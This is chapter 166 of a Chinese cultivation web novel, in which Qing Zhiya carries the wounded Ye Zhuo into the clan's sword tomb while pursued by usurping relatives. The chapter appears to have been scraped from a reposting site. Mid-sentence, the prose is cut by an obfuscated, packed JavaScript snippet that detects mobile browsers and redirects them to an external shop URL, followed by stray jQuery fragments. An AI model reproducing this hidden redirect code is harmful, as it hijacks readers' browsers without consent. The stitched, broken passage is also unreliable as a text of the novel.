166. 剑魂淬骨

作品:《魔道二五仔想攻略我

    青稚雅背着叶酌,跑得气息不均。


    虽在友人家中,却强敌环伺,稍有差池便有可能丧命。


    虽有镇天玉压轴,却不敢轻易动用——如果她不想叶酌血崩而死的话。


    体内本就不充裕的灵力,不得不分出一缕控制叶酌伤势。


    剧烈奔跑,加之没有外援医师,如此极端条件下,唯有那一缕灵力维持住两名暴露性创伤患者的性命。


    这么跑下去也不是个事儿,还是找处安全之所帮人把梦境解开,毕竟是化神期的战斗力,躺在背上太浪费了。


    跑得晕头转向之际,青稚雅动了动晕乎乎的小脑瓜子,忧伤地发现朋友并没有说过她家密道或者密室之类的在哪里。


    其实只要找个常人不注意的地方就行。


    问题是如今叶府嫡庶夺权,正直白热化阶段,叶酌突然失踪,府内必会经历刮地皮式搜索。


    该去哪儿避难好呢?


    青稚雅目光逡巡,忽然感觉背后有异动,还不待她警惕转身,便听耳畔叶酌低低的声音响起,“北边,剑冢。”


    “摆脱梦境了?”青稚雅惊喜,然而随后虚弱下来的呼吸,昭示着背上之人只是短暂的清醒。


    料想是叶家给叶酌准备的梦境凶险,能半途苏醒给出提示已是不易。


    青稚雅不再期待奇迹,背着好友奋力往她所指方向跑去。


    叶窈窈坐在廊檐下,她身为叶家旁支庶女,母亲原是府中丫头,生下她后没几年便因病去世。


    因出身卑微,叶窈窈并不受兄弟姐妹的待见,虽是主子,过得却并不比下人好多少。


    叶酌在外经营叶府形象,对内也整治过族中不良风气,在这位长房嫡出的连番出手下,叶窈窈的生活环境大为改善。


    家族宴会上,她曾远远见过这位金枝玉叶的大小姐,英姿飒爽,明艳大气,身边还跟着位俊俏少年,是她一辈子都也望尘莫及的存在。


    叶府同室操戈,她修为低下,被安排在北院要道,这里虽地段偏僻,却也是好几条路径的交汇口。


    叶家旁支们不指望这个菜鸡妹妹有什么大作用,只想留个自己阵营的人守住路口,聊胜于无。


    “脑子放聪明些,谁才跟你是一伙儿的?嫡系胜了,清算起来,你一样跑不了!但如果我们胜了,会给你留点汤喝,你的修为快突破了吧,我这里还有颗筑基丹。”叶有荣抛了抛一只小玉瓶。


    “想想叶酌能给你什么,别选错了。”


    叶窈窈大脑一团乱麻,满目凄惶,听到外边金戈铁马,吓得花容失色。


    “不要打过来不要打过来,对,这里这么偏,不会有人过来的。”她小声安慰着自己,守了良久,也不见一个人影来,慢慢放下心。


    无论嫡出胜还是庶出胜,都不用做什么,安心等结果便是,她只是个小人物,怎么敢牵扯进夺权这样的大事件中呢?


    这么安慰自己的叶窈窈,忽听破风声响,接着便见黑影奔袭。


    离得近了,只见一命半边身子染血的女修背着另一女子疾步奔跑,那伏于背后的女子低垂着头瞧不清脸,只是腰间荡下的玉佩分外眼熟。


    叶窈窈在叶家身份低微,依照族中规矩,见到有头脸的人物需弯腰行礼,不可直视,是以大人物的脸她未必认得全,可腰间戴何配饰,鞋上绣何珠宝,却记得牢固。


    认出那玉佩样式,叶窈窈惊得睁大了眼睛,低呼出声:“大小姐?”


    然而喊出声后她便后悔了,原本未曾注意房檐下还有个人的女修侧眼望来,清凌凌的眸子透彻明亮,直直能瞧见人心底。


    叶窈窈吓得窜到一边假山后,小心探出头解释,“我并无恶意,只是不知······大小姐现今如何了?”


    她问得小心翼翼,配上本就柔弱软糯的长相,更加楚楚可怜。


    青稚雅眯起眼,分不清敌友的前提下,谨慎地未答话,同时思考如何处理面前突然冒出的人。


    她毕竟是来帮好友度过难关,而不是来灭人满门的,情非得已,不愿痛下杀手。


    叶窈窈见她目光警惕,姿态放得更低了,诚恳道:“我受大小姐庇护,才有今天日子,怎会害了大小姐?你瞧我躲在这里也没参与族中内斗,又没什么实力,对您也造成不了威胁。我就是想关心一下大小姐······”


    她越说声音越低,好似被误解后辩论不清,分外委屈焦急。


    青稚雅知道自己看人本事不行,此间当口,更不敢轻信旁人,从兜内掏出枚催人昏睡的迷雾弹丢过去,直接把人弄晕,拔腿就走。


    她未曾注意到的是,假山后倒下去的少女,手里滑落一块正在通讯中的传讯牌。


    大小姐千好万好,也都是过去的恩惠了,怎敌眼前的利益?


    叶窈窈十分感激叶酌肃清叶家门风,可那有什么用呢?


    帮助叶酌,也不过得一句“真是条忠心的好狗”,毕竟保护嫡系,乃是旁支分内职责,说不定尘埃落定,都无人知晓她所冒风险。


    可若帮助叶有荣捉到大小姐,丹药法器唾手可得。


    况且,叶酌她凭什么那么风光啊!就因为她投了个好胎?


    浮生剑主都威风那么多年了,让其他弟弟妹妹也冒个头怎么了?


    如果她倒下了,别人是不是也有机会······有机会,靠近明月一点?


    隐秘心思的驱动之下,叶窈窈终是将叶酌的行踪传播了出去。


    青稚雅对叶府的路实在不熟,过往做客也只走过几条,叶酌给的方位太模糊,没多久,她便感知到身后紧逼而来的追兵。


    “就在前面!”


    “谁在背着她跑?”


    “好像是涤尘剑主?”


    “不是说她俩关系糟糕吗?”


    吵吵嚷嚷的声音越发逼近,青稚雅修为卡在筑基期,被追上是迟早的事。


    “喂!涤尘剑主!这是我们叶家的家事,您大可不必掺和!”


    “是啊是啊,听闻剑主修为大损,只要您把叶酌交给我们,叶家有的是灵丹妙药,助您恢复修为!”


    “您与叶酌一路竞争,我们都瞧在眼里,只要把她放下,日后东域剑道顶级天才只会有您一位!”


    哔哔赖赖,烦死了!


    若不是双手托举这叶酌的腿,青稚雅真想捂住耳朵。


    然而装作听不见不行,凌厉的剑芒自背后斩击而来,奔跑中的青稚雅纵跃而起,跳过袭杀而来的剑气。


    “千重山,镇!”磅礴的灵力汇聚头顶,巨大的压力笼罩,跃至半空的青稚雅仿佛被无形大手摁压而下,笔直跌落。


    面对坚实地面,她改背为抱,疯狂压榨体内残存的灵气,凝成保护罩,牢牢将叶酌护在怀中。


    翻滚了几圈,身后威压持续逼近,伤口崩裂的青稚雅根本来不及看追兵状况,爬起身,护着好友拼命往前奔去。


    她已经感觉到剑冢的气息了,冷幽森寒,锋芒锐利,也只有万千灵剑埋葬地,才能散发出这般锐不可当之势。


    “涤尘剑主,你当我族剑冢这般好闯么?”威严的声音似天地雷霆,与叶家上空炸响,叶家化神期出手了。


    汗水混合着鲜血,如流体画糊过剑修的半张脸。


    青稚雅咬着牙,不理会外界强压,一门心思往剑冢方向奔跑,无论剑冢好不好闯,只有闯进去,才有一线生机。


    还差十步!


    剑冢的边界近在咫尺。


    “放下叶酌,饶你一命。”催命的声音恍若就在耳畔。


    化神期剑招袭杀而至,青稚雅双眸迸发出强烈战意,唇角扯起癫狂的弧度,将昏迷中的叶酌甩向剑冢方向,反身拔剑,正面硬刚那竖劈下的滔天一剑。


    “镇天玉!”左手将镇天玉威能催发,右手涤尘横挡。


    化神期的全力一击经过层层削弱,最终落在女子纤瘦身躯之上。


    “噗!”五脏六腑仿佛都移了位,被击至半空的青稚雅口喷鲜血,身体后仰,横飞进剑冢圈内。


    立即有叶家子弟想上前缉拿,却被边上年长者拦住。


    “二长老,您看?”年长些的叶家人满脸忌惮地望向剑冢方向。


    二长老凝望着十步外仰躺在地生死不知的二女,冷笑道:“派人看住这里,既然自己找死,就休怪老夫无情。”


    “爷爷······”跟在后边的叶有荣欲言又止,满是不甘。


    二长老望了眼沉不住气的孙儿一眼,捋着胡须淡声道:“入了剑冢,不死也脱成皮,听闻涤尘剑主也身负剑骨,无论哪个人活下来,都是你的造化。”


    叶有荣心下大喜,两副剑骨啊,若都能得来,他的天赋将强化至何等境界!


    二长老瞧他喜形于色的模样,摇摇头,转身走回平日处理事务的堂内,只是他脚刚踏进门,便觉屋内寒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941987|160750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凉,周身如被冰气笼罩,紧接着身体便被股森冷力量操控了。


    再说叶酌,苦苦挣扎在府中长辈打造的门阀森严家规噩梦中,骤然灵台一清,茫然睁眼便觉周身上下仿佛被车轱辘碾压而过,左手腕骨处更是钻心疼痛。


    她勉强支撑起身,察觉到身边肃杀的氛围,立刻意识到身处何处,青稚雅竟真带她到了族内剑冢。


    “小丫?”环顾四周,瞧见青稚雅摔入一堆碎石中,大滩血迹漫延,生死不知,叶酌瞳孔骤缩,手脚并用爬到好友身边。


    “小丫,小雅,青稚雅你醒醒!”叶酌摸遍全身上下,悲哀地发现储物袋早被那群王八犊子收走了,连浮生也不知在何处。


    镇天玉余威未消,体内灵力调度困难,她尝试了几次,也未召唤回本命灵剑。


    “抱歉,将你牵扯进来了。”沉默几息,叶酌撕开衣摆,在牙齿帮助下缠住渗血的手腕,瞧着青稚雅碎石泥土鲜血混杂的破裂外衫,鼻头酸涩。


    “谢谢。”谢谢你来救我,谢谢你一路都没有放弃,谢谢你赶来得那么及时。


    说罢她动作轻缓地将人抱起,无视腕骨处神经末梢都发颤的刺痛,一步步走向剑冢深处,淅淅沥沥的血珠一路滴落,也分不清是两名剑修中哪一位的。


    在外看守的叶氏子弟瞧见自家大小姐挺拔的背影,慌忙掏出传讯牌,却发现镇天玉余威下无法动用灵力,只能派出一人跑回内宅传讯。


    青稚雅伤得委实有点重,悠悠转醒后发现自己正躺在一座石桥上。


    桥很长,笔直笔直,回首不见来时路,前望不见去向何方。


    桥很高,幽幽冷气卷着浓雾往桥上吹,探头向下瞧,青稚雅觉得自己的恐高症豆都犯了。


    “醒了?起来准备考核吧。”叶酌疲惫的声音自前方响起。


    青稚雅脑袋还懵懵的,“什么考核?”


    不要驴人啊,太微也是有剑冢的,可从没什么考核。


    沉默寡言的剑修们遇到瓶颈了,去剑冢坐一坐跟先辈们的佩剑唠唠嗑,或者静坐感悟,往往会有所收获,对于太微剑修而言,剑冢更像心境不稳时温暖港湾一般的存在。


    为什么到你们叶家就要考试了???


    “问心。”叶酌站姿笔挺,迎着冷冽的寒风,整个人宛若出鞘新剑,锋芒四射。


    她侧头笑了一下,“我们叶家的剑冢跟别人不一样,搞不好会闹出人命。”


    青稚雅微微睁大眼睛,顿时明白为何危急时刻叶酌让她往这里跑,也想清楚了追兵为何没赶上来。


    “怎么考核?”她爬起身,站到叶酌身边,望向寒气尽头绰约可见的剑山,层层林立恍若墓碑,散发出古老又厚重的气势。


    “走过桥,攀登那座山。”叶酌凝望着远处不知多少灵剑矗立的山头,轻声道,“叶氏子弟死后,随身佩剑除极少数流落在外,其余皆在此地。这座剑冢,埋葬的不仅仅是失去主人的灵剑,亦是我叶氏风骨。”


    山壁陡峭,怪石嶙峋,这山本该与其他峰峦无异,顶多难爬了些,然而石缝之间挺立的剑,却如墓碑,无声诉说着主人的一生。


    它们剑身明光依旧,沉默而冷然地俯视每一名来到剑山下的人。


    叶酌眸光流转,望向边上目露尊敬之色的友人,低笑一声,“你之修为,我也想过恢复方法,天地灵物喂养固然能提升效率,可终究不是剑道正途。”


    “小丫,你是剑修,定然懂得,我们剑修,有自己的突破方式。”


    青稚雅眸光璀璨,她自是懂得。


    三流剑修,苦练剑技。


    二流剑修,明悟剑意。


    一流剑修,人剑合一。


    而顶流剑修,一生都在寻找独属自己的道,于绝境中捕捉一线希冀,在强压下突破天地桎梏,我与我周旋久,宁作我。


    明了了好友言下之意,青稚雅挑眉,不由得生出万丈豪情,“叶小酌,你卡在化神中期也挺久了吧,不若今日一并突破?”


    叶酌脸上笑容愈盛,朗笑道:“我就知青小丫你懂!攀登剑冢啊,这可是独属于剑修的浪漫!”


    青稚雅活动了下手腕,眸中燃烧起蓬勃斗志,“来吧姐妹,外边还有一堆杂碎等着收拾。”


    叶酌笑容转冷,“我叶酌长这么大,还没吃过此等亏,这笔账可要好好清算。”


    二人对视一眼,同步冲向寒气笼罩的剑山。